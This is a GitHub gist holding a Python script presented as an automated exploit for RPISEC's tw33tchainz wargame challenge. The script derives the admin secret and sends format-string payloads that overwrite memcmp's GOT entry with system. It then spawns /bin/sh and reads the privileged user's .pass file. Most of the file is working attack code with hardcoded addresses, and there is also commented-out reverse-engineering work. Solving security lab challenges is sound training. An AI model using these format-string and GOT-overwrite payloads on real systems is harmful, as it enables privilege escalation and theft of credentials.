Created
March 30, 2015 22:58
-
-
Save not-inept/db88d5524c1136fca01e to your computer and use it in GitHub Desktop.
An automated exploit for RPISEC's tw33tchainz challenge.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import subprocess | |
import binascii | |
import sys | |
############################################################################### | |
## Contents: ################################################################## | |
############################################################################### | |
## endianFlip(a) : converts userpass from printed representation | |
## to how it actually is | |
## | |
## secretGen(name, salt, pass) : derives the secret from the name/salt/pass | |
## | |
## readuntil(fd, needle) : moves stdout for tw33tchainz forward, | |
## provided with the original file | |
## | |
## chainz(name, salt, location) : object for creating and interacting with the | |
## tw33tchainz program and all its quirks | |
############################################################################### | |
def endianFlip(a): | |
b = '' | |
for i in range(4): | |
b += ''.join(a[i*4:(i*4)+4][::-1]) | |
return b | |
# Provided function to read the file descriptor until it finds a string | |
def readuntil(fd, needle): | |
data = "" | |
while needle not in data: | |
data += fd.read(1) | |
return data | |
def secretGen(uname, usalt, upass): | |
secret = '' | |
print 'Generating Secret...' | |
for i in range(16): | |
secret += chr(((ord(upass[i]) ^ ord(uname[i])) - ord(usalt[i])) % 256) | |
return secret | |
class chainz: | |
# self. | |
##### VARIABLES | |
## n = name entered | |
## s = salt entered | |
## sp = subprocess created | |
## pw = password generated (text) | |
## pw_hex = hex bytes of password generated | |
## secret = secret password for session | |
## secret_hex = hex bytes for secret password | |
##### FUNCTIONS | |
## __init__ = creates and gets to menu | |
## tweet = tw33ts and gets to menu | |
## getAdmin = uses gathered info to build admin password and enter 3 | |
## sh3ll = gets sh3ll, assuming admin has been obtained and overwrite completed | |
## viewChainz = used for my debugging purposes, displays tw33ts tw33ted | |
## quit = ensures death of subprocess (and all birds in vicinity) | |
def __init__(self, uname, usalt, loc): | |
# run the project | |
self.n = uname | |
self.s = usalt | |
self.sp = subprocess.Popen(loc, stdout=subprocess.PIPE, stdin=subprocess.PIPE) | |
# read stdin until username prompt | |
readuntil(self.sp.stdout, 'Username: \n') | |
# send in username & salt | |
self.sp.stdin.write(uname + usalt + '\n') | |
# read stdin until we get the generated password | |
readuntil(self.sp.stdout, 'Generated Password:\n') | |
# extract the generated password from stdout | |
pw = readuntil(self.sp.stdout, '\n')[:-1] | |
self.pw = pw | |
self.pw_hex = endianFlip(binascii.unhexlify(pw)) | |
# generate the secret pass | |
self.secret_hex = secretGen(uname, usalt, self.pw_hex) | |
self.secret = binascii.hexlify(self.secret_hex) | |
# get us back to menu | |
self.sp.stdin.write("\n") | |
# write a newline to get us to the menu | |
readuntil(self.sp.stdout, "Enter Choice: ") | |
def getAdmin(self): | |
print 'Getting admin...' | |
self.sp.stdin.write("3\n") | |
readuntil(self.sp.stdout, "Enter password: ") | |
assert(len(self.secret_hex) == 16) | |
self.sp.stdin.write(self.secret_hex) | |
# extract response | |
resp = readuntil(self.sp.stdout, "\n")[:-1] | |
print 'Response: ' + resp | |
self.sp.stdin.write('\n') | |
readuntil(self.sp.stdout, "Enter Choice: ") | |
def sh3ll(self): | |
print 'Getting shell...' | |
self.sp.stdin.write("3\n") | |
shell = "/bin/sh" | |
readuntil(self.sp.stdout, "Enter password: ") | |
self.sp.stdin.write(shell+'\n') | |
# self.sp.stdin.write('\n') | |
self.sp.stdin.write('cat /home/project1_priv/.pass\n') | |
# self.sp.stdin.write('\n') | |
# extract response | |
resp = readuntil(self.sp.stdout, "\n")[:-1] | |
print 'Password: ' + resp | |
def tweet(self, text): | |
# now you are at the menu and should understand | |
# how to easily r/w with the level | |
print 'Printing tweet "' + text + '"' | |
self.sp.stdin.write("1\n") | |
# get through tweet stuff | |
readuntil(self.sp.stdout, '): ') | |
for i in range(16-len(text)): | |
text += '\x00' | |
assert(len(text) == 16) | |
# write tweet | |
self.sp.stdin.write(text + '\n') | |
# extract response | |
readuntil(self.sp.stdout, 'Enter Choice: ') | |
def viewChainz(self): | |
# calls view chainz, for no particular reason | |
print 'Viewing chainz...' | |
self.sp.stdin.write('2\n') | |
# write to move forward | |
self.sp.stdin.write('\n\n\n') | |
# revert to main menu | |
print readuntil(self.sp.stdout, 'Enter Choice: ') | |
def quit(self): | |
print 'Killing subprocess...' | |
# self.sp.stdin.write('5\n') # not needed if I just slaughter the process | |
self.sp.kill() | |
if __name__ == '__main__': | |
uname = '\x00'*16 | |
usalt = '\x00'*16 | |
if (len(sys.argv) != 2): | |
print "Usage:\t\t" + "python proj1.py [TW33TCHAINZ LOCATION]" | |
print "Example:\t" + "python proj1.py /levels/project1/tw33tchainz" | |
else: | |
locChainz = sys.argv[1] | |
print "Looking for tw33tchainz at: " + locChainz | |
c = chainz(uname, usalt, locChainz) | |
print 'Entered Username:\t' + '\\x00*16' | |
print 'Entered Salt: \t' + '\\x00*16' | |
print 'Real Password: \t' + c.pw | |
print 'Generated Secret:\t' + c.secret | |
# memcmp location: 0x0804c02c | |
# system location: 0x00181e10 (in my vm) | |
# system location: 0xb7e65190 (on warzone) | |
# exploit strategy: | |
## 1. Acquire admin | |
## 2. Overwrite memcmp with system | |
## 3. Call system with /bin/sh through maybe_admin memcmp | |
c.getAdmin() | |
# 1 (buffer) + 4 (addr) + 10-11 (fmt) | |
fmt = 'J\x2c\xc0\x04\x08%139x%8$hhn' | |
c.tweet(fmt) | |
fmt = 'U\x2d\xc0\x04\x08%76x%8$hhn' | |
c.tweet(fmt) | |
fmt = 'N\x2e\xc0\x04\x08%225x%8$hhn' | |
c.tweet(fmt) | |
fmt = 'K\x2f\xc0\x04\x08%178x%8$hhn' | |
c.tweet(fmt) | |
# print 'Preparing for bird beheading...' | |
# c.viewChainz() # bird should show, head not intact | |
c.sh3ll() | |
c.quit() | |
############################################################################### | |
# ############################ | |
# Code I no longer use but was part of my process: ############################ | |
# ############################ | |
############################################################################### | |
# | |
# def passGen(uname, usalt, secret): | |
# # this func is probably broken | |
# password = '' | |
# for i in range(16): | |
# ############ PRE LOOP | |
# # var_4= dword ptr -4 | |
# # arg_0= dword ptr 8 | |
# # push ebp | |
# # mov ebp, esp | |
# # sub esp, 10h | |
# # mov [ebp+var_4], 0 | |
# # mov [ebp+var_4], 0 | |
# # jmp short loc_8048911 | |
# ############ LOOP CHECK | |
# # cmp [ebp+var_4], 0Fh | |
# # jle short loc_80488DA | |
# ############ LOOP | |
# # mov edx, [ebp+var_4] | |
# edx = ord(secret[i]) | |
# # mov eax, [ebp+arg_0] | |
# eax = ord(uname[i]) | |
# # add edx, eax | |
# edx = edx + eax | |
# # mov eax, [ebp+var_4] | |
# eax = ord(usalt[i]) | |
# # add eax, 804C0D0h | |
# eax = eax + int(0x0804C0D0) | |
# # movzx eax, byte ptr [eax] | |
# eax = ord(uname[i]) | |
# # mov ecx, eax | |
# ecx = eax | |
# # mov eax, [ebp+var_4] | |
# eax = ord(secret[i]) | |
# # add eax, 804C0E0h | |
# eax = eax + int(0x0804C0D0) | |
# # movzx eax, byte ptr [eax] | |
# eax = ord(uname[i]) | |
# # add eax, ecx | |
# eax = eax + ecx | |
# # mov ecx, eax | |
# ecx = eax | |
# # mov eax, [ebp+var_4] | |
# eax = ord(secret[i]) | |
# # add eax, 804C0C0h | |
# # movzx eax, byte ptr [eax] | |
# #ecx = ord(ecx) | |
# #eax = ord(eax) | |
# # xor eax, ecx | |
# eax = (ecx ^ eax) | |
# # mov [edx], al | |
# # add [ebp+var_4], 1 ; counter incrementing | |
# password += hex(eax).strip('0x') | |
# # password = | |
# return password |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment